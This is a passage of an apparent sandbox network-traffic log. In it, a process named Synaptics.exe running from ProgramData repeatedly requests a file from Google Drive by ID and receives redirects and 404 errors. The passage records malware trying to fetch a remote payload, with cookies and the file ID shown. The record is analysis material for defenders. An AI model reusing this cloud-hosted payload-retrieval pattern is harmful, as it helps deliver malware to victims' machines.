ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49803	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:44 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
2024-08-22 11:10:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-m7y6Cm-k9p_r4mLqwJH6lA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49805	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:45 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
2024-08-22 11:10:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-WACitosJH-dKcwZCSnmEKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49806	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:45 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:45 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:45 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-nYEO8ePc_GSy-t6yyKuY1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nMUh2Q9lcGxoGR-Tbr7wRc4Pzifv5WKUYI0VN9xB57l59AynqvJfF3c370TNevd_-5mEak Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:45 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:45 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 70 35 5f 75 79 65 51 49 77 79 67 4f 7a 66 58 4e 4f 44 39 6a 5f 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="p5_uyeQIwygOzfXNOD9j_A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:45 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49807	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:45 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
2024-08-22 11:10:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-fjX8BXDj7epeyjBVX2Tuiw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	49808	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:45 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:45 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:45 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_zv7VA0DfTxmGI3t4frVuw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1642 X-GUploader-UploadID: AHxI1nPZVMIFiwcSRv_Fnn4QN_-WVllPnz5dO9gkEnFPD7mBNazH-43ARO8eq-zA3gkX2Rt6Gtw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:45 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:45 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 43 5f 77 4f 69 7a 58 6c 6e 48 41 33 68 34 4d 65 4c 72 73 73 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="jC_wOizXlnHA3h4MeLrssQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:45 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	49809	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:46 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
2024-08-22 11:10:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-KBqa_hWeNmCMb_U1gwjcPQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	49810	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:46 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:46 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:46 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-o-mJrHisfGXj_ev0ez3t4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nPcPNAPte2_fZ52-WAEgJCMoBj0mTLJ8P_of-78vTLB9RSjLmDyT_lLlx9JOZg4R2jrtk8 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:46 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:46 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 74 74 33 67 56 62 68 49 66 49 6b 64 6b 34 55 54 55 5a 31 6d 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="Ntt3gVbhIfIkdk4UTUZ1mw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:46 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	49812	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:46 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:46 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:46 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-FSPnz0Oi-88qHmJIfuLymQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nOEPeeQgipGnb3JuIvfmPXNViM4Ugst9SG057v7pr9urMn29xGTO4qD0ALqFIpfVxed1Tw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:46 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:46 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 53 5a 57 71 4f 72 33 57 44 48 72 53 6c 4a 30 59 4a 68 75 67 76 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="SZWqOr3WDHrSlJ0YJhugvg">*{margin:0;padding:0}html,code{font:15px/22px 